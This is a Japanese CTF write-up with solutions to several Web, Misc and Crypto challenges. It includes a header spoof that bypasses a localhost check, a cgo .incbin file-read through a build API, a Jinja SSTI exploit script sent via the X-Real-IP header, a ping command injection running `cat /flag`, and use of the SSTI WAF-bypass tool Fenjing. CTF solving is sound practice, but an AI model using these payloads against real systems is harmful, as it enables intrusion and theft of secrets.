Web1#
ソースコードを確認すると、js ファイルがあります。
内容は以下の通りです:
eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))
base64 デコード
function encryptAndSubmit() {
var _0x1a2b = document['getElementById']('password')['value'];
var _0x2b3c = 'CTF2025';
var _0x3c4d = md5(_0x1a2b + _0x2b3c);
document['getElementById']('encrypted')['value'] = _0x3c4d;
document['getElementById']('password')['value'] = '';
return true;
}
上記のコードの役割は、入力されたパスワードを md5 で暗号化し、md5 に塩を加えます。例えば md5 (password,CTF2025) のようにすれば、爆破が可能です。
burp 設定は以下の通りです。
爆破して flag を取得します。
Web4#
添付ファイルがあり、main.go の内容は以下の通りです。
package main
import (
"context"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"time"
"github.com/gin-gonic/gin"
)
func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}
func localhostOnly() gin.HandlerFunc {
return func(c *gin.Context) {
clientIPString := c.ClientIP()
ip := net.ParseIP(clientIPString)
if ip == nil {
c.String(http.StatusBadRequest, "無効な IP アドレス")
c.Abort()
return
}
if !ip.IsLoopback() {
c.String(http.StatusForbidden, "アクセスが拒否されました。このエンドポイントはローカルからのアクセスのみを許可します")
c.Abort()
return
}
c.Next()
}
}
func handleBuild(c *gin.Context) {
body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
defer body.Close()
dir, err := os.MkdirTemp("", "c2_")
if err != nil {
c.String(http.StatusInternalServerError, "一時ディレクトリの作成に失敗しました: %v", err)
return
}
defer os.RemoveAll(dir)
fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)
f, err := os.Create(fname)
if err != nil {
c.String(http.StatusInternalServerError, "一時ファイルの作成に失敗しました: %v", err)
return
}
defer f.Close()
_, err = f.ReadFrom(body)
if err != nil {
c.String(http.StatusInternalServerError, "リクエストボディの読み取りに失敗しました: %v", err)
return
}
f.Close()
err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
if err != nil {
c.String(http.StatusInternalServerError, "コンパイルに失敗しました: %v", err)
return
}
c.File(binName)
}
func main() {
gin.SetMode(gin.ReleaseMode)
router := gin.Default()
router.Use(localhostOnly())
router.POST("/api/build", handleBuild)
fmt.Println("サーバーが http://localhost:8989 で起動しています")
if err := router.Run(":8989"); err != nil {
fmt.Fprintf(os.Stderr, "サーバーの起動に失敗しました: %v\n", err)
os.Exit(1)
}
}
http の post リクエストを通じて、上記のコードに go コードを送信し、上記のコードは送信されたコードをコンパイルし、コンパイルされた go ファイルを出力します。
参考:
https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html
準備した go ファイルの内容
package main
/*
__asm__ (
".incbin \"/flag\"\n"
);
*/
import "C"
func main() {
}
次に curl リクエストを送信します。
curl -X POST -H "X-Forwarded-For: 127.0.0.1" --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6
出力された m6 プログラムを実行し、strings で flag を探します。
Web5#
問題:会社は最近、護網行動に参加することになり、リーダーは従業員のフィッシングメールに対する警戒心を高めるために、フィッシングメールを行うことを決定しました。あなたの同僚の小明は簡単なフィッシングシステムを作成しましたが、数日後にこのサイトは誰かにハッキングされました。小明はこのサイトをレンダリングするために多くの安全な関数を使用したと言っていましたが、理論的には攻撃されるべきではありませんでした...
アクセスリンク
内容を入力して送信します。
from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address
app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)
ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# ルートディレクトリから /flag.txt を読み取って flag を取得しようとします
try:
with open('/flag.txt', 'r') as f:
FLAG = f.read().strip()
except:
FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"
ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"
if not os.path.exists(USERS_FILE):
with open(USERS_FILE, 'w') as f:
json.dump([], f)
def load_users():
try:
with open(USERS_FILE, 'r') as f:
return json.load(f)
except:
return []
def save_users(users):
with open(USERS_FILE, 'w') as f:
json.dump(users, f, indent=4)
def encrypt_data(data):
data = (data + " " * (-len(data) % AES.block_size)).encode()
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
ct_bytes = cipher.iv + cipher.encrypt(data)
return ct_bytes.hex()
def decrypt_data(encrypted_data):
try:
encrypted_data = bytes.fromhex(encrypted_data)
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
padded1 = cipher.decrypt(encrypted_data[16:])
return padded1.decode("ascii", errors="replace").rstrip(" ")
except Exception as e:
print(f"復号エラー: {e}")
return None
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('newPwd1', '')
oldPwd = request.form.get('oldPwd', '')
# IP アドレスを取得
real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
# JSON データを作成
# user_data = json.dumps({
# 'user': username,
# 'pd1': password,
# 'pd2': oldPwd,
# 'ip': real_ip
# })
# print(f"ユーザーデータ: {user_data}")
# データを暗号化してトークンを作成
# user = encrypt_data(user_data)
user = encrypt_data(username)
pd1 = encrypt_data(password)
pd2 = encrypt_data(oldPwd)
ip = encrypt_data(real_ip)
return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))
@app.route('/error')
def error():
username = request.args.get('user', '')
password = request.args.get('pd1', '')
oldPwd = request.args.get('pd2', '')
ip = request.args.get('ip', '')
if username and password and oldPwd and ip:
user_data_str = decrypt_data(username)
password_str = decrypt_data(password)
oldPwd_str = decrypt_data(oldPwd)
ip_str = decrypt_data(ip)
user_data = json.dumps({
'username': user_data_str,
'password': password_str,
'oldPwd': oldPwd_str,
'ip': ip_str
})
if user_data_str:
try:
# json ユーザーデータを読み込む
user_data = json.loads(user_data)
users = load_users()
users.append(user_data)
save_users(users)
except json.JSONDecodeError:
pass
# エラーページを表示
return render_template('error.html', cred=user_data)
@app.route('/admin')
def admin():
secret = request.args.get('secret', '')
if secret != ADMIN_SECRET:
return render_template('admin_login.html')
users = load_users()
for user in users:
try:
# IP を検証して XSS 攻撃を防ぐ
ip_address(user['ip'])
user['ip'] = render_template_string(user['ip'])
except ValueError:
user['ip'] = render_template_string("無効な IP アドレス")
except Exception as e:
user['ip'] = render_template_string("無効な IP アドレス")
return render_template('admin_panel.html', users=users)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
解題スクリプト:
#!/usr/bin/env python3
import requests
# 目標サーバーのアドレス
target_url = 'http://111.74.9.131:18054'
# X-Forwarded-For ヘッダーを悪意のあるテンプレートを含む文字列に設定
headers = {
'X-Real-IP': '{{ config.get("FLAG", "") }}'
}
# POST リクエストを送信し、悪意のあるユーザーを登録
login_data = {
'username': 'attacker',
'newPwd1': 'password',
'oldPwd': 'oldpassword'
}
response = requests.post(
f'{target_url}/login',
headers=headers,
data=login_data
)
# エラーページにリダイレクトされ、データが users.json に保存されます
# 次に管理パネルにアクセスし、テンプレートインジェクションをトリガーします
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'
admin_response = requests.get(
f'{target_url}/admin',
params={'secret': admin_secret}
)
# レスポンス内容を確認し、FLAG の値が含まれているはずです
print(admin_response.text)
Web3#
ssti 自動化バイパスツール
プロジェクトアドレス:https://github.com/Marven11/Fenjing
紹介:焚靖は CTF コンペティションにおける Jinja SSTI の WAF バイパスを自動化するスクリプトで、指定されたウェブサイトやインターフェースを自動的に攻撃し、手動でインターフェースをテストする時間を省きます。
インストールと使用
pipx install fenjing
fenjing webui
リンクを開くと、インターフェースは以下のようになります:
パラメータを入力します。
目標リンク:http://xx.xx.xx.xx:18055/login
リクエスト方式:POST
フォーム入力:フォームフィールドを入力する必要があります。username、password
分析を開始し、自動的にペイロードを巡回します。成功すると通知が表示され、その後出力 cat /flag コマンドで flag を確認します。
Web2#
http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping
ソースコードをスキャン:
Misc2#
乱涂乱画の QR コードで、支付宝のスキャン機能を使用してスキャンします。
Misc2#
import time
import random
print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))
for i in range(nums):
one = random.randint(0, 10)
two = random.randint(0, 10)
ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))
print("calculating")
timeTotals = pow(2, i)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
if ans != one + two:
print("u are not a good hack")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])
nc で実行し、-1 を入力すればバイパスできます。
Crypto1#
from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)
# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
復号スクリプト
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537
m = pow(c, dp ,p)
print(long_to_bytes(m))
flag{dp_is_very_easy}